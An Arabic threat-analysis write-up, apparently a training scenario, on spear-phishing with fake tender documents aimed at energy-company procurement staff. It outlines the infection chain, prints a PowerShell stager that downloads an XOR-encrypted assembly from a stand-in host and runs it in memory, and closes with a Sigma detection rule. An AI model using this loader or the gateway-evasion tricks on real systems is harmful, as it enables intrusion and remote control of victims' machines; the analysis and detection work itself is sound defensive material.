حملة تصيّد موجّهة تستهدف قطاع الطاقة بمستندات مناقصات مزيفة — تحليل تقني

رصد فريق سيبرانا (في هذا السيناريو التجريبي) حملة تصيّد موجّهة تستهدف موظفي المشتريات والعقود في شركات الطاقة بالمنطقة. تصل الرسائل من نطاقات مسجّلة حديثًا تحاكي أسماء جهات حكومية، وتحمل عنوانًا من قبيل «دعوة لتقديم عرض — مشروع توسعة».

سلسلة الإصابة

1. رسالة بريد تحمل ملفًا مضغوطًا محميًا بكلمة مرور مذكورة في نص الرسالة (لتجاوز الفحص على البوابة).
2. داخل الملف اختصار .lnk بأيقونة PDF يشغّل PowerShell بوسيطات مخفية.
3. السكربت ينزّل حمولة مشفّرة من خادم يحاكي خدمة مشاركة ملفات، ويفكّ تشفيرها في الذاكرة.
4. تُحقن أداة الوصول عن بُعد في عملية شرعية وتحقق الاستمرارية عبر مهمة مجدولة.

السكربت الأولي (مبسّط)

$u = "https://files-share.example.net/t/" + $env:COMPUTERNAME
$b = (New-Object Net.WebClient).DownloadData($u)
$k = [Text.Encoding]::ASCII.GetBytes("d3m0-k3y")
$d = 0..($b.Length-1) | % { $b[$_] -bxor $k[$_ % $k.Length] }
[Reflection.Assembly]::Load([byte[]]$d).EntryPoint.Invoke($null, $null)

لاحظ استخدام اسم الجهاز في المسار: يسمح ذلك للمهاجم بتقديم حمولة مختلفة لكل ضحية أو حجبها عن بيئات التحليل.

مؤشرات الاختراق

قاعدة كشف مقترحة

title: LNK spawning PowerShell with hidden window and download
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\\explorer.exe'
    Image|endswith: '\\powershell.exe'
    CommandLine|contains|all:
      - '-w hidden'
      - 'DownloadData'
  condition: selection
level: high